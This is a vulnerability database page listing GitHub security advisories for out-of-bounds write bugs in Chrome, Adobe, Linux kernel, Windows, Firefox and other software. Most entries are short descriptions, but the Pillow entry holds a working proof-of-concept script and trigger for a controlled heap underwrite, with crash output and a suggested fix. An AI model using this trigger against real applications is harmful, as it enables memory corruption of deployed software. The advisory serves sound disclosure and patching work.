Common Weakness Enumeration
CWE-787
Allowed-with-ReviewOut-of-bounds Write
Abstraction: Base · Status: Draft
The product writes data past the end, or before the beginning, of the intended buffer.
15386 vulnerabilities reference this CWE, most recent first.
GHSA-6R6W-66X9-R2CX
Vulnerability from github – Published: 2021-12-14 00:00 – Updated: 2021-12-17 00:00
VLAI
Details
IBM i2 Analyst's Notebook 9.2.0, 9.2.1, and 9.2.2 is vulnerable to a stack-based buffer overflow, caused by improper bounds checking. A local attacker could overflow a buffer and gain lower level privileges. IBM X-Force ID: 214440.
{
"affected": [],
"aliases": [
"CVE-2021-39050"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-13T19:15:00Z",
"severity": "HIGH"
},
"details": "IBM i2 Analyst\u0027s Notebook 9.2.0, 9.2.1, and 9.2.2 is vulnerable to a stack-based buffer overflow, caused by improper bounds checking. A local attacker could overflow a buffer and gain lower level privileges. IBM X-Force ID: 214440.",
"id": "GHSA-6r6w-66x9-r2cx",
"modified": "2021-12-17T00:00:49Z",
"published": "2021-12-14T00:00:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39050"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/214440"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6525258"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6R75-2F3X-5V9M
Vulnerability from github – Published: 2023-01-10 21:30 – Updated: 2023-01-13 15:30
VLAI
Details
Heap buffer overflow in libphonenumber in Google Chrome prior to 109.0.5414.74 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Low)
Severity
8.8 (High)
{
"affected": [],
"aliases": [
"CVE-2023-0138"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-10T20:15:00Z",
"severity": "HIGH"
},
"details": "Heap buffer overflow in libphonenumber in Google Chrome prior to 109.0.5414.74 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Low)",
"id": "GHSA-6r75-2f3x-5v9m",
"modified": "2023-01-13T15:30:26Z",
"published": "2023-01-10T21:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0138"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2023/01/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://crbug.com/1346675"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202305-10"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202311-11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6R7H-FRH6-9HPP
Vulnerability from github – Published: 2024-12-10 21:30 – Updated: 2024-12-10 21:30
VLAI
Details
Illustrator versions 29.0.0, 28.7.2 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2024-49538"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-10T21:15:16Z",
"severity": "HIGH"
},
"details": "Illustrator versions 29.0.0, 28.7.2 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.",
"id": "GHSA-6r7h-frh6-9hpp",
"modified": "2024-12-10T21:30:53Z",
"published": "2024-12-10T21:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49538"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/illustrator/apsb24-94.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6R8R-359Q-C3CG
Vulnerability from github – Published: 2022-03-12 00:00 – Updated: 2022-03-17 00:01
VLAI
Details
Adobe After Effects versions 22.2 (and earlier) and 18.4.4 (and earlier) are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2022-24097"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-11T18:15:00Z",
"severity": "HIGH"
},
"details": "Adobe After Effects versions 22.2 (and earlier) and 18.4.4 (and earlier) are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.",
"id": "GHSA-6r8r-359q-c3cg",
"modified": "2022-03-17T00:01:07Z",
"published": "2022-03-12T00:00:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24097"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/after_effects/apsb22-17.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6R8X-57C9-28J4
Vulnerability from github – Published: 2026-07-20 23:09 – Updated: 2026-07-20 23:09
VLAI
Summary
Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow
Details
Summary
Pillow's public image coordinate APIs can trigger a native heap out-of-bounds
write when given coordinates near the signed 32-bit integer limits. In 4-byte
pixel modes such as RGBA, this becomes a controlled backward heap underwrite:
for a source image of width W, Pillow writes 4 * W attacker-controlled bytes
starting 4 * W bytes before the destination row pointer. With successful large
image allocation, the theoretical upper bound is ~2 GiB backwards from
the destination row.
Minimal public API trigger:
from PIL import Image
INT_MIN = -(1 << 31)
src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
dst = Image.new("RGBA", (8, 1))
dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1))
The same root cause is also reachable through Image.crop() and
Image.alpha_composite(). No private API, ctypes, custom Python object, or
malformed image file is needed.
This has been confirmed as an ASAN heap-buffer-overflow write. On normal
non-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with
double free or corruption (out)
Details
src/PIL/Image.py:paste() accepts a 4-tuple box and passes it to the native
ImagingCore.paste() method:
self.im.paste(source, box)
src/_imaging.c:_paste() parses the four Python coordinates into signed int
values and calls ImagingPaste():
int x0, y0, x1, y1;
PyArg_ParseTuple(args, "O(iiii)|O!", &source, &x0, &y0, &x1, &y1, ...);
status = ImagingPaste(self->image, PyImaging_AsImaging(source), ..., x0, y0, x1, y1);
src/libImaging/Paste.c:ImagingPaste() computes and clips the region using
signed int arithmetic:
xsize = dx1 - dx0;
ysize = dy1 - dy0;
if (dx0 + xsize > imOut->xsize) {
xsize = imOut->xsize - dx0;
}
With dx0 = 2147483646 and dx1 = -2147483648, dx1 - dx0 wraps to 2.
That matches the 2-pixel source image, so the size check passes. The later
dx0 + xsize clip check wraps around and does not reject the out-of-bounds
destination.
For 4-byte pixel modes such as RGBA, the paste loop then multiplies dx by
pixelsize:
dx *= pixelsize;
xsize *= pixelsize;
memcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize);
For the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the destination row allocation.
The primitive scales with the attacker-controlled source width:
source width = W
box = ((1 << 31) - W, 0, INT_MIN, 1)
C destination offset = -4 * W
C memcpy size = 4 * W
write range = [row_start - 4W, row_start)
Examples for RGBA:
W = 2 -> writes 8 bytes before the row
W = 1024 -> writes 4096 bytes before the row
W = 65536 -> writes 256 KiB before the row
W = 1000000 -> writes about 4 MiB before the row
Pillow's image creation guard currently limits xsize to roughly
INT_MAX / 4 - 1, so the theoretical upper bound for this RGBA underwrite is
2,147,483,640 bytes before the destination row pointer. In practice, the
usable range depends on memory availability, allocator layout, and process heap
state.
Two other documented APIs reach the same sink:
# Image.crop() path
left = INT_MIN + 2
Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1))
# Image.alpha_composite() path, via its internal crop()
base = Image.new("RGBA", (2, 1))
over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
base.alpha_composite(over, dest=(left, 0))
Image.crop() keeps right - left small, so the Python decompression-bomb
check allows it. src/libImaging/Crop.c then computes wrapped paste
coordinates and calls ImagingPaste().
PoC
The following standalone script exercises all three public API paths. Save it
as b021_poc.py and run it with paste, crop, or alpha.
#!/usr/bin/env python3
import argparse
import sys
from PIL import Image
INT_MIN = -(1 << 31)
def rgba_pattern(width):
out = bytearray()
for i in range(width):
out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))
return bytes(out)
def main():
parser = argparse.ArgumentParser()
parser.add_argument(
"variant",
choices=("paste", "crop", "alpha"),
nargs="?",
default="paste",
)
parser.add_argument("-w", "--width", type=int, default=2)
args = parser.parse_args()
width = args.width
src = Image.frombytes("RGBA", (width, 1), rgba_pattern(width))
if args.variant == "paste":
box = ((1 << 31) - width, 0, INT_MIN, 1)
dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
print(f"variant=paste box={box}")
print(f"expected C dst offset={-4 * width}, write_size={4 * width}")
sys.stdout.flush()
dst.paste(src, box)
print("paste returned; first row:", dst.tobytes().hex())
elif args.variant == "crop":
left = INT_MIN + width
box = (left, 0, left + width, 1)
print(f"variant=crop box={box}")
sys.stdout.flush()
out = src.crop(box)
print("crop returned; output:", out.tobytes().hex())
else:
dest = (INT_MIN + width, 0)
dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
print(f"variant=alpha dest={dest}")
sys.stdout.flush()
dst.alpha_composite(src, dest=dest)
print("alpha_composite returned; first row:", dst.tobytes().hex())
sys.stdout.flush()
if __name__ == "__main__":
main()
Run against an ASAN build:
env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
python b021_poc.py paste
env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
python b021_poc.py crop
env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
python b021_poc.py alpha
Observed ASAN signature for the direct Image.paste() path:
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
_paste /out/src/src/_imaging.c:1461
0x... is located 8 bytes before 32-byte region
On non-ASAN Pillow 12.2.0 and local 12.3.0.dev0, the direct minimal
Image.paste() trigger returns from paste() and then the process aborts
during cleanup with:
double free or corruption (out)
Aborted (core dumped)
Observed ASAN signature for the Image.crop() and Image.alpha_composite()
paths:
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
ImagingCrop /out/src/src/libImaging/Crop.c:57
_crop /out/src/src/_imaging.c:1090
Suggested fix
Avoid signed overflow in paste/crop coordinate arithmetic. Use checked arithmetic or a wider type before calculating widths and clipped endpoints.
For example, reject boxes whose endpoint subtraction cannot be represented cleanly, and clip using non-overflowing comparisons:
int64_t xsize64 = (int64_t)dx1 - dx0;
int64_t ysize64 = (int64_t)dy1 - dy0;
if (xsize64 < 0 || ysize64 < 0 || xsize64 > INT_MAX || ysize64 > INT_MAX) {
return ImagingError_ValueError("bad box");
}
ImagingCrop() should receive the same treatment for sx1 - sx0,
dx0 = -sx0, and dx1 = imIn->xsize - sx0.
Impact
This is a heap out-of-bounds write in Pillow's native C extension, reachable through documented public image APIs.
Applications are impacted if an untrusted user can control image operation
coordinates passed to Pillow, for example crop boxes, paste boxes, or overlay
positions. The bytes written in the direct Image.paste() variant are copied
from the source image, so attacker-controlled source pixels can influence the
out-of-bounds write. For RGBA, the write is a backward heap underwrite whose
offset and length are both 4 * source_width, bounded in practice by successful
image allocation and heap layout.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Pillow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "12.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59199"
],
"database_specific": {
"cwe_ids": [
"CWE-190",
"CWE-787"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T23:09:53Z",
"nvd_published_at": "2026-07-14T16:17:01Z",
"severity": "HIGH"
},
"details": "### Summary\n\nPillow\u0027s public image coordinate APIs can trigger a native heap out-of-bounds\nwrite when given coordinates near the signed 32-bit integer limits. In 4-byte\npixel modes such as `RGBA`, this becomes a controlled backward heap underwrite:\nfor a source image of width `W`, Pillow writes `4 * W` attacker-controlled bytes\nstarting `4 * W` bytes before the destination row pointer. With successful large\nimage allocation, the theoretical upper bound is ~2 GiB backwards from\nthe destination row.\n\nMinimal public API trigger:\n\n```python\nfrom PIL import Image\n\nINT_MIN = -(1 \u003c\u003c 31)\n\nsrc = Image.new(\"RGBA\", (2, 1), (0x41, 0x42, 0x43, 0x44))\ndst = Image.new(\"RGBA\", (8, 1))\ndst.paste(src, ((1 \u003c\u003c 31) - 2, 0, INT_MIN, 1))\n```\n\nThe same root cause is also reachable through `Image.crop()` and\n`Image.alpha_composite()`. No private API, ctypes, custom Python object, or\nmalformed image file is needed.\n\nThis has been confirmed as an ASAN heap-buffer-overflow write. On normal\nnon-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with\n`double free or corruption (out)`\n\n### Details\n\n`src/PIL/Image.py:paste()` accepts a 4-tuple box and passes it to the native\n`ImagingCore.paste()` method:\n\n```python\nself.im.paste(source, box)\n```\n\n`src/_imaging.c:_paste()` parses the four Python coordinates into signed `int`\nvalues and calls `ImagingPaste()`:\n\n```c\nint x0, y0, x1, y1;\nPyArg_ParseTuple(args, \"O(iiii)|O!\", \u0026source, \u0026x0, \u0026y0, \u0026x1, \u0026y1, ...);\nstatus = ImagingPaste(self-\u003eimage, PyImaging_AsImaging(source), ..., x0, y0, x1, y1);\n```\n\n`src/libImaging/Paste.c:ImagingPaste()` computes and clips the region using\nsigned `int` arithmetic:\n\n```c\nxsize = dx1 - dx0;\nysize = dy1 - dy0;\n\nif (dx0 + xsize \u003e imOut-\u003exsize) {\n xsize = imOut-\u003exsize - dx0;\n}\n```\n\nWith `dx0 = 2147483646` and `dx1 = -2147483648`, `dx1 - dx0` wraps to `2`.\nThat matches the 2-pixel source image, so the size check passes. The later\n`dx0 + xsize` clip check wraps around and does not reject the out-of-bounds\ndestination.\n\nFor 4-byte pixel modes such as `RGBA`, the paste loop then multiplies `dx` by\n`pixelsize`:\n\n```c\ndx *= pixelsize;\nxsize *= pixelsize;\nmemcpy(imOut-\u003eimage[y + dy] + dx, imIn-\u003eimage[y + sy] + sx, xsize);\n```\n\nFor the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the\ndestination row allocation.\n\nThe primitive scales with the attacker-controlled source width:\n\n```text\nsource width = W\nbox = ((1 \u003c\u003c 31) - W, 0, INT_MIN, 1)\n\nC destination offset = -4 * W\nC memcpy size = 4 * W\nwrite range = [row_start - 4W, row_start)\n```\n\nExamples for `RGBA`:\n\n```text\nW = 2 -\u003e writes 8 bytes before the row\nW = 1024 -\u003e writes 4096 bytes before the row\nW = 65536 -\u003e writes 256 KiB before the row\nW = 1000000 -\u003e writes about 4 MiB before the row\n```\n\nPillow\u0027s image creation guard currently limits `xsize` to roughly\n`INT_MAX / 4 - 1`, so the theoretical upper bound for this `RGBA` underwrite is\n`2,147,483,640` bytes before the destination row pointer. In practice, the\nusable range depends on memory availability, allocator layout, and process heap\nstate.\n\nTwo other documented APIs reach the same sink:\n\n```python\n# Image.crop() path\nleft = INT_MIN + 2\nImage.new(\"RGBA\", (2, 1)).crop((left, 0, left + 2, 1))\n\n# Image.alpha_composite() path, via its internal crop()\nbase = Image.new(\"RGBA\", (2, 1))\nover = Image.new(\"RGBA\", (2, 1), (0x41, 0x42, 0x43, 0x44))\nbase.alpha_composite(over, dest=(left, 0))\n```\n\n`Image.crop()` keeps `right - left` small, so the Python decompression-bomb\ncheck allows it. `src/libImaging/Crop.c` then computes wrapped paste\ncoordinates and calls `ImagingPaste()`.\n\n### PoC\n\nThe following standalone script exercises all three public API paths. Save it\nas `b021_poc.py` and run it with `paste`, `crop`, or `alpha`.\n\n```python\n#!/usr/bin/env python3\nimport argparse\nimport sys\n\nfrom PIL import Image\n\n\nINT_MIN = -(1 \u003c\u003c 31)\n\n\ndef rgba_pattern(width):\n out = bytearray()\n for i in range(width):\n out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))\n return bytes(out)\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"variant\",\n choices=(\"paste\", \"crop\", \"alpha\"),\n nargs=\"?\",\n default=\"paste\",\n )\n parser.add_argument(\"-w\", \"--width\", type=int, default=2)\n args = parser.parse_args()\n\n width = args.width\n src = Image.frombytes(\"RGBA\", (width, 1), rgba_pattern(width))\n\n if args.variant == \"paste\":\n box = ((1 \u003c\u003c 31) - width, 0, INT_MIN, 1)\n dst = Image.new(\"RGBA\", (max(8, width), 1), (0, 0, 0, 0))\n print(f\"variant=paste box={box}\")\n print(f\"expected C dst offset={-4 * width}, write_size={4 * width}\")\n sys.stdout.flush()\n dst.paste(src, box)\n print(\"paste returned; first row:\", dst.tobytes().hex())\n\n elif args.variant == \"crop\":\n left = INT_MIN + width\n box = (left, 0, left + width, 1)\n print(f\"variant=crop box={box}\")\n sys.stdout.flush()\n out = src.crop(box)\n print(\"crop returned; output:\", out.tobytes().hex())\n\n else:\n dest = (INT_MIN + width, 0)\n dst = Image.new(\"RGBA\", (max(8, width), 1), (0, 0, 0, 0))\n print(f\"variant=alpha dest={dest}\")\n sys.stdout.flush()\n dst.alpha_composite(src, dest=dest)\n print(\"alpha_composite returned; first row:\", dst.tobytes().hex())\n\n sys.stdout.flush()\n\n\nif __name__ == \"__main__\":\n main()\n```\n\nRun against an ASAN build:\n\n```bash\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n python b021_poc.py paste\n\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n python b021_poc.py crop\n\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n python b021_poc.py alpha\n```\n\nObserved ASAN signature for the direct `Image.paste()` path:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 8\npaste /out/src/src/libImaging/Paste.c:59\nImagingPaste /out/src/src/libImaging/Paste.c:323\n_paste /out/src/src/_imaging.c:1461\n0x... is located 8 bytes before 32-byte region\n```\n\nOn non-ASAN Pillow `12.2.0` and local `12.3.0.dev0`, the direct minimal\n`Image.paste()` trigger returns from `paste()` and then the process aborts\nduring cleanup with:\n\n```text\ndouble free or corruption (out)\nAborted (core dumped)\n```\n\nObserved ASAN signature for the `Image.crop()` and `Image.alpha_composite()`\npaths:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 8\npaste /out/src/src/libImaging/Paste.c:59\nImagingPaste /out/src/src/libImaging/Paste.c:323\nImagingCrop /out/src/src/libImaging/Crop.c:57\n_crop /out/src/src/_imaging.c:1090\n```\n## Suggested fix\n\nAvoid signed overflow in paste/crop coordinate arithmetic. Use checked\narithmetic or a wider type before calculating widths and clipped endpoints.\n\nFor example, reject boxes whose endpoint subtraction cannot be represented\ncleanly, and clip using non-overflowing comparisons:\n\n```c\nint64_t xsize64 = (int64_t)dx1 - dx0;\nint64_t ysize64 = (int64_t)dy1 - dy0;\n\nif (xsize64 \u003c 0 || ysize64 \u003c 0 || xsize64 \u003e INT_MAX || ysize64 \u003e INT_MAX) {\n return ImagingError_ValueError(\"bad box\");\n}\n```\n\n`ImagingCrop()` should receive the same treatment for `sx1 - sx0`,\n`dx0 = -sx0`, and `dx1 = imIn-\u003exsize - sx0`.\n\n### Impact\n\nThis is a heap out-of-bounds write in Pillow\u0027s native C extension, reachable\nthrough documented public image APIs.\n\nApplications are impacted if an untrusted user can control image operation\ncoordinates passed to Pillow, for example crop boxes, paste boxes, or overlay\npositions. The bytes written in the direct `Image.paste()` variant are copied\nfrom the source image, so attacker-controlled source pixels can influence the\nout-of-bounds write. For `RGBA`, the write is a backward heap underwrite whose\noffset and length are both `4 * source_width`, bounded in practice by successful\nimage allocation and heap layout.",
"id": "GHSA-6r8x-57c9-28j4",
"modified": "2026-07-20T23:09:53Z",
"published": "2026-07-20T23:09:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59199"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/pull/9703"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3451.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-pillow/Pillow"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow"
}
GHSA-6R9H-PC2X-G962
Vulnerability from github – Published: 2026-03-25 12:30 – Updated: 2026-04-23 21:31
VLAI
Details
In the Linux kernel, the following vulnerability has been resolved:
xsk: Fix fragment node deletion to prevent buffer leak
After commit b692bf9a7543 ("xsk: Get rid of xdp_buff_xsk::xskb_list_node"), the list_node field is reused for both the xskb pool list and the buffer free list, this causes a buffer leak as described below.
xp_free() checks if a buffer is already on the free list using list_empty(&xskb->list_node). When list_del() is used to remove a node from the xskb pool list, it doesn't reinitialize the node pointers. This means list_empty() will return false even after the node has been removed, causing xp_free() to incorrectly skip adding the buffer to the free list.
Fix this by using list_del_init() instead of list_del() in all fragment handling paths, this ensures the list node is reinitialized after removal, allowing the list_empty() to work correctly.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2026-23326"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-25T11:16:29Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nxsk: Fix fragment node deletion to prevent buffer leak\n\nAfter commit b692bf9a7543 (\"xsk: Get rid of xdp_buff_xsk::xskb_list_node\"),\nthe list_node field is reused for both the xskb pool list and the buffer\nfree list, this causes a buffer leak as described below.\n\nxp_free() checks if a buffer is already on the free list using\nlist_empty(\u0026xskb-\u003elist_node). When list_del() is used to remove a node\nfrom the xskb pool list, it doesn\u0027t reinitialize the node pointers.\nThis means list_empty() will return false even after the node has been\nremoved, causing xp_free() to incorrectly skip adding the buffer to the\nfree list.\n\nFix this by using list_del_init() instead of list_del() in all fragment\nhandling paths, this ensures the list node is reinitialized after removal,\nallowing the list_empty() to work correctly.",
"id": "GHSA-6r9h-pc2x-g962",
"modified": "2026-04-23T21:31:17Z",
"published": "2026-03-25T12:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23326"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/2a9ea988465ece5b6896b1bdc144170a64e84c35"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/5172adf9efb8298a52f4dcdc3f98d4d9d1e06a6d"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/60abb0ac11dccd6b98fd9182bc5f85b621688861"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/645c6d8376ad4913cbffe0e0c2cca0c4febbe596"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/b38cbd4af5034635cff109e08788c63f956f3a69"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6R9Q-M8VH-P7PX
Vulnerability from github – Published: 2022-05-24 22:01 – Updated: 2023-03-01 18:31
VLAI
Details
An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory, aka 'Win32k Elevation of Privilege Vulnerability'. This CVE ID is unique from CVE-2019-1394, CVE-2019-1395, CVE-2019-1396, CVE-2019-1408, CVE-2019-1434.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2019-1393"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-11-12T19:15:00Z",
"severity": "HIGH"
},
"details": "An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory, aka \u0027Win32k Elevation of Privilege Vulnerability\u0027. This CVE ID is unique from CVE-2019-1394, CVE-2019-1395, CVE-2019-1396, CVE-2019-1408, CVE-2019-1434.",
"id": "GHSA-6r9q-m8vh-p7px",
"modified": "2023-03-01T18:31:02Z",
"published": "2022-05-24T22:01:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1393"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1393"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-19-983"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6RC8-H6XQ-V545
Vulnerability from github – Published: 2025-05-08 21:32 – Updated: 2025-05-12 21:31
VLAI
Details
TOTOLINK A3100R V5.9c.1527 is vulnerable to Buffer Overflow via the priority parameter in the setMacQos interface of /lib/cste_modules/firewall.so.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-45790"
],
"database_specific": {
"cwe_ids": [
"CWE-121",
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-08T20:15:30Z",
"severity": "MODERATE"
},
"details": "TOTOLINK A3100R V5.9c.1527 is vulnerable to Buffer Overflow via the priority parameter in the setMacQos interface of /lib/cste_modules/firewall.so.",
"id": "GHSA-6rc8-h6xq-v545",
"modified": "2025-05-12T21:31:08Z",
"published": "2025-05-08T21:32:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-45790"
},
{
"type": "WEB",
"url": "https://github.com/SunnyYANGyaya/cuicuishark-sheep-fishIOT/blob/main/ToTolink/A3100R-4/README.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6RCF-F85P-PMGJ
Vulnerability from github – Published: 2026-02-24 15:30 – Updated: 2026-06-30 03:35
VLAI
Details
Memory safety bugs present in Firefox ESR 140.7, Thunderbird ESR 140.7, Firefox 147 and Thunderbird 147. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability affects Firefox < 148 and Firefox ESR < 140.8.
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2026-2792"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-24T14:16:27Z",
"severity": "CRITICAL"
},
"details": "Memory safety bugs present in Firefox ESR 140.7, Thunderbird ESR 140.7, Firefox 147 and Thunderbird 147. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability affects Firefox \u003c 148 and Firefox ESR \u003c 140.8.",
"id": "GHSA-6rcf-f85p-pmgj",
"modified": "2026-06-30T03:35:45Z",
"published": "2026-02-24T15:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2792"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3981"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3982"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3983"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3984"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:4022"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:4152"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:4260"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:4432"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-2792"
},
{
"type": "WEB",
